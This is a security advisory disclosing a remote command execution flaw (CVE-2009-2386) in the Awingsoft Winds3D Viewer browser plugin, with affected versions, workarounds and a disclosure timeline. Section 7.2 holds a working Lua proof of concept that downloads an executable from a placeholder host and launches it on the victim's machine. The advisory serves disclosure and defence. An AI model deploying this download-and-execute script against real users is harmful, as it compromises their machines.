Core Security Technologies Advisory 2009.0519

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Awingsoft Awakening Winds3D Viewer remote command execution vulnerability  
  
  
  
1. *Advisory Information*  
  
Title: Awingsoft Awakening Winds3D Viewer remote command execution   
vulnerability  
Advisory ID: CORE-2009-0519  
Advisory URL: http://www.coresecurity.com/content/winds3d-viewer-advisory  
Date published: 2009-07-08  
Date of last update: 2009-07-08  
Vendors contacted: Awingsoft  
Release mode: User release  
  
  
2. *Vulnerability Information*  
  
Class: Remote command execution  
Remotely Exploitable: Yes (client side)  
Locally Exploitable: No  
Bugtraq ID: 35595  
CVE Name: CVE-2009-2386  
  
  
3. *Vulnerability Description*  
  
Awingsoft's Awakening is a rapid application authoring tool for   
efficiently creating interactive 3D content. With this tool, you can   
easily create interactive 3D presentations, animated 3D webs, brief   
films or games.  
  
Awakening's Winds3D Viewer [1], which runs as a plugin within most   
popular web browsers, is vulnerable to a remotely exploitable arbitrary   
command execution vulnerability which can be triggered by making the   
user visit a malicious link/website.  
  
  
4. *Vulnerable packages*  
  
~ . Winds3D Viewer v3.5.0.0  
~ . Winds3D Viewer v3.0.0.5  
~ . Older versions are probably affected too, but were not checked.  
  
  
5. *Vendor Information, Solutions and Workarounds*  
  
The vendor did not provide fixes or workaround information. A possible   
mitigation action would be to enable MIME type filtering in your   
IDS/proxies and block Winds3D traffic: 'application/x-awingsoft-winds3d'  
  
As a workaround, vulnerable users can also avoid this flaw by disabling   
the Winds3D Plugin in their web browsers:  
  
  
5.1. *Mozilla Firefox*  
  
~ . Go to the Tools menu, and select Options...  
~ . Click on the Main tab  
~ . Click on the Manage Add-ons...  
~ . Disable Winds3D Plugin  
  
5.2. *Internet Explorer*  
  
~ . Set the kill bit for control   
*17A54E7D-A9D4-11D8-9552-00E04CB09903* (as explained in   
http://support.microsoft.com/kb/240797).  
  
5.3. *Opera*  
  
~ . Browse opera:plugins  
~ . Look for "Winds3D Plugin for Mozilla"  
~ . Delete the associated file.  
Please contact Awingsoft for further information, patches and workarounds.  
  
  
6. *Credits*  
  
This vulnerability was discovered and researched by Diego Juarez from   
Core Security Technologies.  
  
  
7. *Technical Description / Proof of Concept Code*  
  
  
7.1. *Introduction*  
  
The vulnerability comes from the way the scripting interface exposes   
filesystem access and in particular the way it implements the GetURL method:  
  
  
/-----------  
  
GetURL(string URL)  
Description: Open browser to visit assigned URL  
returns: None  
  
- -----------/  
  
  
In the current implementation, calling GetURL will ultimately execute   
the equivalent of calling 'ShellExecute(NULL, "open", URL, 0, 0,   
SW_SHOW);'. Note that the attacker only controls the file to open   
(execute), but not the command line parameters.  
  
This, however, coupled with the scripting interface's ability to   
download arbitrary files to arbitrary paths constitutes a remotely   
exploitable arbitrary code execution vulnerability which can be   
triggered by making the user visit a malicious link/website.  
  
  
7.2. *Proof of concept*  
  
The following script (.usr) demonstrates the vulnerability. It downloads   
a malicious binary file to the victim machine and then executes it.  
  
  
/-----------  
  
- -- download  
require 'scripts\\websession'  
require 'scripts\\webfile'  
- -- evil file to download  
local szURL='http://somesite/exploit.exe'  
- -- setup download evil file from the web  
ses=websession.new()  
file=ses.openURL(szURL)  
local destfilename=GetTempFileName() -- we always want   
to download to the %TEMP% directory (write access = sure thing)   
destfilename=string.gsub(destfilename, ".tmp", ".exe") -- rename to   
something shellexecute will launch  
file.setDestFile(destfilename)   
local filesize=file.seek(0,FILE_END)  
file.seek(0,FILE_BEGIN)  
local bytescount=0  
local readbytes=file.read()  
while (readbytes>0) do  
bytescount=bytescount + readbytes  
readbytes=file.read()  
end   
- -- close the descriptors  
file.release()  
ses.release()  
- -- execute  
GetURL(destfilename)  
  
- -----------/  
  
  
  
8. *Report Timeline*  
  
. 2009-05-19:  
Core Security Technologies notifies Awingsoft of the vulnerability (no   
reply received).  
  
. 2009-06-29:  
Core notifies again Awingsoft of the vulnerability (no reply received).  
  
. 2009-07-08:  
Since Awingsoft did not respond any notification, Core decides to   
publish the advisory CORE-2009-0519 as "User release".  
  
  
  
9. *References*  
  
[1] Awingsoft's Awakening viewer (AKA Winds3D viewer)  
http://www.awingsoft.com/web3d/web3d.htm  
  
  
10. *About CoreLabs*  
  
CoreLabs, the research center of Core Security Technologies, is charged   
with anticipating the future needs and requirements for information   
security technologies. We conduct our research in several important   
areas of computer security including system vulnerabilities, cyber   
attack planning and simulation, source code auditing, and cryptography.   
Our results include problem formalization, identification of   
vulnerabilities, novel solutions and prototypes for new technologies.   
CoreLabs regularly publishes security advisories, technical papers,   
project information and shared software tools for public use at:   
http://www.coresecurity.com/corelabs.  
  
  
11. *About Core Security Technologies*  
  
Core Security Technologies develops strategic solutions that help   
security-conscious organizations worldwide develop and maintain a   
proactive process for securing their networks. The company's flagship   
product, CORE IMPACT, is the most comprehensive product for performing   
enterprise security assurance testing. CORE IMPACT evaluates network,   
endpoint and end-user vulnerabilities and identifies what resources are   
exposed. It enables organizations to determine if current security   
investments are detecting and preventing attacks. Core Security   
Technologies augments its leading technology solution with world-class   
security consulting services, including penetration testing and software   
security auditing. Based in Boston, MA and Buenos Aires, Argentina, Core   
Security Technologies can be reached at 617-399-6980 or on the Web at   
http://www.coresecurity.com.  
  
  
12. *Disclaimer*  
  
The contents of this advisory are copyright (c) 2009 Core Security   
Technologies and (c) 2009 CoreLabs, and may be distributed freely   
provided that no fee is charged for this distribution and proper credit   
is given.  
  
  
13. *PGP/GPG Keys*  
  
This advisory has been signed with the GPG key of Core Security   
Technologies advisories team, which is available for download at   
http://www.coresecurity.com/files/attachments/core_security_advisories.asc.  
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